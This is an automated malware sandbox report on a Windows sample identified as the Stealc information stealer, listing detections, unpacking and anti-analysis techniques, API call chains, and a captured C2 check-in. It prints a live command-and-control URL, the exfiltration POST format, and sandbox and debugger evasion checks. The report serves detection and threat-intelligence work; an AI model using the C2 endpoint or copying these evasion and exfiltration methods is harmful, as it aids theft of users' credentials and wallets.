Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523176
MD5:	564e5677e7262707df20c3ea7f110513
SHA1:	be8c6288b0baf0bd470e6ab8174e85c03470e0f5
SHA256:	8ed1f28fe0588fd7e27b22329ba5c2cbed9bf6aeec4e2e4dbe2cf751f2f1d629
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1520 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 564E5677E7262707DF20C3EA7F110513)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2024949095.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1520	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1520	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.130000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T08:19:58.612159+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.130000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/E	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/ws	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpy	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/2	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 42%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0013C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00137240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00137240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00139AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00139AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00139B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00139B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00148EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00148EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00144910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00144910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0013DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0013E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0013ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00144570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00144570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0013DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0013BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013F68A FindFirstFileA,	0_2_0013F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0013F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00143EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00143EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001316D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 41 31 35 35 39 32 32 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"31A155922DF51660493485------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"doma------AAKKKEBFCGDBGDGCFHCB--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00134880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00134880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 41 31 35 35 39 32 32 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"31A155922DF51660493485------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"doma------AAKKKEBFCGDBGDGCFHCB--

Source: file.exe, 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/2
Source: file.exe, 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/E
Source: file.exe, 00000000.00000002.2066181737.0000000001089000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpy
Source: file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E	0_2_0050502E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FA96E	0_2_004FA96E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059897F	0_2_0059897F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00508179	0_2_00508179
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004DE998	0_2_004DE998
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059EA28	0_2_0059EA28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003DAAB9	0_2_003DAAB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00503A91	0_2_00503A91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050BBCB	0_2_0050BBCB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052DBE3	0_2_0052DBE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FFC28	0_2_004FFC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00509CB0	0_2_00509CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FC530	0_2_004FC530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00471D9F	0_2_00471D9F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004135AA	0_2_004135AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F8E2A	0_2_004F8E2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050EE3E	0_2_0050EE3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005016EC	0_2_005016EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FE6A1	0_2_004FE6A1

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 001345C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xlnfjtas ZLIB complexity 0.994943263011432

Source: file.exe, 00000000.00000003.2024949095.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00149600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00149600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00143720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00143720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\GMD8PWSD.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1858048 > 1048576

Source: file.exe

Static PE information: Raw size of xlnfjtas is bigger than: 0x100000 < 0x19f800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.130000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xlnfjtas:EW;vyivhryn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xlnfjtas:EW;vyivhryn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00149860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00149860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d245e should be: 0x1d1922

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xlnfjtas
Source: file.exe	Static PE information: section name: vyivhryn
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043D84A push 7795C047h; mov dword ptr [esp], eax	0_2_0043D8D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043D84A push 1EDDFD7Dh; mov dword ptr [esp], edx	0_2_0043D946
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052A840 push 7727F62Ah; mov dword ptr [esp], eax	0_2_0052A8F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0014B035 push ecx; ret	0_2_0014B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00565873 push 5E08C7F6h; mov dword ptr [esp], ecx	0_2_00565892
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00565873 push esi; mov dword ptr [esp], 3B8B728Fh	0_2_005658AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00565873 push 06DFA860h; mov dword ptr [esp], ecx	0_2_005658C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0051501C push 5E736F00h; mov dword ptr [esp], ecx	0_2_005152F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0051501C push eax; mov dword ptr [esp], 71142E46h	0_2_005153B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0051501C push 2F3BD2ECh; mov dword ptr [esp], esp	0_2_005153BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00612830 push ebp; mov dword ptr [esp], 63442BE3h	0_2_00612844
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059A007 push ebp; mov dword ptr [esp], eax	0_2_0059A046
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00528023 push ecx; ret	0_2_00528032
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 3F46C75Bh; mov dword ptr [esp], ecx	0_2_00505094
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push edx; mov dword ptr [esp], esi	0_2_005050AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push eax; mov dword ptr [esp], 34E66A17h	0_2_005050AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 6ACE5AC1h; mov dword ptr [esp], edi	0_2_0050510E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 1AE8FEADh; mov dword ptr [esp], ebx	0_2_0050520A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 47A536D2h; mov dword ptr [esp], edx	0_2_00505252
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 60FBF841h; mov dword ptr [esp], eax	0_2_00505284
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 50A5D974h; mov dword ptr [esp], eax	0_2_005052C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push eax; mov dword ptr [esp], 64E5AAC7h	0_2_0050536F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 1E33956Bh; mov dword ptr [esp], ebp	0_2_005053BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 29B6DF8Fh; mov dword ptr [esp], ebp	0_2_005053D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push ebp; mov dword ptr [esp], 269D697Fh	0_2_005053D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push edx; mov dword ptr [esp], 20A8104Eh	0_2_005053FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push ebp; mov dword ptr [esp], 7BF381B2h	0_2_00505409
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push ecx; mov dword ptr [esp], ebx	0_2_00505469
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push ecx; mov dword ptr [esp], ebp	0_2_00505478
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 311C4054h; mov dword ptr [esp], edx	0_2_005054C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050502E push 2743A6D9h; mov dword ptr [esp], ecx	0_2_005054FB

Source: file.exe

Static PE information: section name: xlnfjtas entropy: 7.954276086869488

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00149860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13608

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513034 second address: 51303E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5B4D24B716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502CD7 second address: 502CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5B4C774D8Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513564 second address: 513568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5136B6 second address: 5136C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5B4C774D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5136C0 second address: 5136CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5136CA second address: 5136DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5136DC second address: 5136E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F5B4D24B716h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
